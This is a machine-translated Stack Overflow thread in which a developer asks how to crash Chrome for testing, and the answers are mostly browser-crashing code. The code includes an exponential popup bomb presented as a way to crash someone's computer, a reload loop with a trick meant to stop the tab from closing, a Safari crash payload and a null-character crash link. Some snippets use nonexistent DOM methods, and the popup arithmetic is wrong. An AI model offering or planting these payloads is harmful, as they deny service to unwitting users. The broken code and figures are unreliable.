【问题标题】:How to crash Chrome browser?如何让 Chrome 浏览器崩溃?
【发布时间】:2017-03-15 00:09:12
【问题描述】:

出于测试目的,我需要一种快速简便的方法来使我的标签页/浏览器崩溃。我正在对我的网站进行压力测试,这些网站对于 Google Chrome 来说非常宝贵。

  • chrome://crash
  • chrome://kill
  • chrome://hang
  • chrome://quit
  • chrome://restart
  • 可以在chrome://about 找到这些网站。另一个站点(chrome://about 上未列出的站点是 chrome://inducebrowsercrashforrealz- 它会使 Chrome 的顶级进程崩溃,包括所有浏览器窗口中的所有选项卡和所有打开的应用程序)。最初,我试图查看在发生崩溃时保留了哪些数据。例如,我们表单中的textarea 在重新启动时仍然填写。

    但是,只有当我在浏览器中手动输入 URL 时,这些 URL 才有价值。使用这个问题(以及我没有链接的许多其他问题),我证实了我的怀疑 - 你不能

    • 重定向到chrome://页面
    • 链接到chrome:// 页面
    • 以任何其他方式从 chrome:// 页面(即 iframe)请求信息

    Link to chrome:// url from a webpage

    这带来了一个问题——当用户到达表单的特定部分时,我想导致浏览器崩溃 (chrome://inducebrowsercrashforrealz)。有没有什么脚本会导致浏览器崩溃?

    我尝试过while 循环,但即使它们是指数级的,它们也需要一段时间才能杀死页面,并且不会影响浏览器。我希望崩溃是瞬时的,或者占用足够的内存以使浏览器冻结。

    【问题讨论】:

    • 您可以重定向到chrome:// 页面,您只需要创建一个具有标签权限的扩展程序。然后您可以使用chrome.tabs.update({ url: "chrome://inducebrowsercrashforrealz") 将当前选项卡重定向到chrome://inducebrowsercrashforrealz。

    标签: javascript google-chrome crash


    【解决方案1】:

    警告这将使任何浏览器或使用 PopUps 攻击的计算机崩溃:

    如果你想让某人的计算机或浏览器崩溃

    使浏览器或计算机崩溃的弹出代码

    <script type="text/javascript"> 
    function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
    </script> 
    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    如果您真的想让他们的浏览器严重挂起,则使用此弹出窗口它将继续上传,每个弹出窗口会再增加 2 个和 2 个弹出页面,这意味着 2x2 弹出窗口第二次 4 个弹出窗口,然后是 8、16、32, 64等弹出窗口。它使就像是一种病毒,它会在浏览器中传播弹出窗口,用弹出窗口填充屏幕,直到计算机或浏览器崩溃并挂起并关闭,只是......

    注意:你没有从我这里听到这个,OKAY...LOL...我只建议这是一个朋友的盗版笑话,而不是在线网页。

    如果你想让它崩溃得更快,那么只需将更多 JavaScript:CrashAndBurn(self.location,'_blank'); 添加到 onload 正文中,例如 x4 示例:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    它将为每个弹出窗口加载 4 个弹出窗口,这些弹出窗口在 4 个弹出窗口之后发出,它将加载 4x4,即 18 个弹出窗口,然后是 18x4,即 72,然后是 72x4,即 288 个弹出窗口,然后是 288x4,即 1152 个弹出窗口,仅在 4 轮弹出窗口中几秒钟。

    如果你想成为 EXTREME HORIBLE,那么使用 x10 示例:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    您有 8 个弹出窗口,其中 10 个是 10x10=100 个弹出窗口,然后是 1000 个,然后是 1 000 000 个弹出窗口,保证快速崩溃。

    编辑您可以使用 while 循环而不是复制粘贴 10 次。它会更短。

    【讨论】:

      【解决方案2】:

      <!DOCTYPE html>
      <html>
      <body>
      
      
      <h2>Crashing Now</h2>
      
      
      <p>Hit Ok To Crash</p>
      
      
      <p id="demo"></p>
      
      
      <script>
      onbeforeunload = function(){localStorage.x=1};
      
      
      if(confirm("Do you REALLY want me to crash your browser?")){
        setTimeout(function(){
          while(1)location.reload(1)
        }, 1000)
      }
      </script>
      
      
      </body>
      </html>

      【讨论】:

      • 虽然此代码可以解决问题,including an explanation 说明如何以及为什么解决问题将真正有助于提高您的帖子质量,并可能导致更多的赞成票。请记住,您正在为将来的读者回答问题,而不仅仅是现在提出问题的人。请编辑您的答案以添加解释并说明适用的限制和假设。
      【解决方案3】:
      for(var i = 0; i === i; i++) {}
      

      应该让你当前的窗口崩溃

      【讨论】:

      • 这会导致 Javascript 解释器挂起,但不会“崩溃”窗口。
      • 我猜,不过一切都变得不负责任了。
      • 其实,这正是我所需要的。对于 Chromebook,当窗口挂起时,无法解决(它几乎没有 CPU),强制重启是唯一的出路。 +1!
      【解决方案4】:

      有一种方法...

      while(true){
      var dp = document.getElementByID("spamr");
       if(!document.getElementByID("spamr")){
        var dp = document.createElementByID("spamr");
        dp.innerHTML += "??????????";
      }
      dp.innerHTML += "???????????";
      }
      

      【讨论】:

        【解决方案5】:

        for(var i = 0; i === i; i++) {}

        【讨论】:

          【解决方案6】:

          适用于 chrome、edge、IE:

          while(1)location.reload(1)
          

          持续硬加载当前页面(通过 http/https 效果最佳)

          并防止用户关闭标签:

          onbeforeunload = function(){localStorage.x=1};
          

          回顾:

          onbeforeunload = function(){localStorage.x=1};
          
          if(confirm("Do you REALLY want me to crash your browser?")){
            setTimeout(function(){
              while(1)location.reload(1)
            }, 1000)
          }

          警告:这将彻底崩溃任何 Chrome 实例,如果您在 chromebook 或任何旧操作系统上运行,这将完全崩溃您的整个系统!

          演示:https://p.ksh3.tk

          编辑: 适用于 safari 的版本:

          window.onload=()=>location.hash="M"+"\u0001".repeat(2**25)+"m";
          

          【讨论】:

          • 我可以关闭标签页。
          【解决方案7】:

          我认为实际上没有任何方法可以通过 JS 使客户端的浏览器崩溃。但是,有可能只执行大量无用的计算,从而使选项卡变得无用。

              while(true) {
                 for(let i = 99; i === i; i *= i) {
                    console.log(i);
                 };
              };
          

          【讨论】:

            【解决方案8】:

            谷歌浏览器崩溃网站列表

            1. chrome://badcastcrash
            2. chrome://inducebrowsercrashforrealz
            3. chrome://crash
            4. chrome://crashdump
            5. chrome://kill
            6. chrome://hang
            7. chrome://shorthang
            8. chrome://gpuclean
            9. chrome://gpucrash
            10. chrome://gpuhang
            11. chrome://memory-exhaust
            12. chrome://memory-pressure-critical
            13. chrome://memory-pressure-moderate
            14. chrome://ppapiflashcrash
            15. chrome://ppapiflashhang
            16. chrome://quit
            17. chrome://restart

            【讨论】:

              【解决方案9】:

              这可行,但速度很慢,但它会使浏览器立即无响应。

              try {
                  window.location.replace("chrome://quit")
                  //some old browsers support this, if they are useing VERY old chromium.
              } finally {
                  history.pushState(null, document.title,     location.href);
                  window.addEventListener('popstate', function(event) {
                      history.pushState(null, document.title,      location.href);
                  })
                  while(true) {
                      let location = 1
                      let item = 1
                      localStorage.setItem(location, item)
                      location = location+1
                      item = item*2
                      localStorage.getItem(location)
                      console.log("added and used: "+item+" at "+location)
                  }
              }
              if (window.closed) {
                  window.location.replace("run.html")
              }
              

              【讨论】:

                【解决方案10】:
                for(let index = 0; true; index++){
                console.log(index)
                }
                

                它会运行缓慢,但它会起作用。

                【讨论】:

                • 您的答案可以通过额外的支持信息得到改进。请“编辑”以添加更多详细信息,例如引用或文档,以便其他人可以确认您的答案是正确的。您可以在帮助中心找到更多关于如何写好答案的信息:stackoverflow.com/help/how-to-answer。祝你好运?
                【解决方案11】:

                让您的 chromebook 崩溃的简单小书签。如果您尝试关闭 chromebook 并再次打开它,屏幕将保持亮起 5 秒。

                javascript:while (true) { window.location.reload(true); };
                

                【讨论】:

                • 为什么需要i?
                • @SurajRao 你没有,我只是为了测试目的。谢谢你告诉我,我会摆脱它。
                【解决方案12】:

                这应该可以!

                <button onclick="crash()">???</button>
                    <script type="text/javascript">
                function crash(){
                  if(navigator.userAgent.indexOf("Chrome") != -1 )
                    {
                      alert('WHoops')
                window.open('http://crashchrome.com/', '_self', '');
                    }
                    else {
                      alert('Hehe')
                      while (1==1){
                        console.log(3234567654*45671234567890987654321)
                      }
                    }
                }
                </script>

                【讨论】:

                • 崩溃铬过期
                【解决方案13】:

                此链接:

                http://a/%%30%30

                将导致 chrome 崩溃,因为它会导致空字符。试试看!

                【讨论】:

                  猜你喜欢
                  • 2013-01-06
                  • 1970-01-01
                  • 2016-04-27
                  • 2018-08-20
                  • 1970-01-01
                  • 1970-01-01
                  • 1970-01-01
                  • 1970-01-01
                  • 1970-01-01
                  相关资源
                  最近更新 更多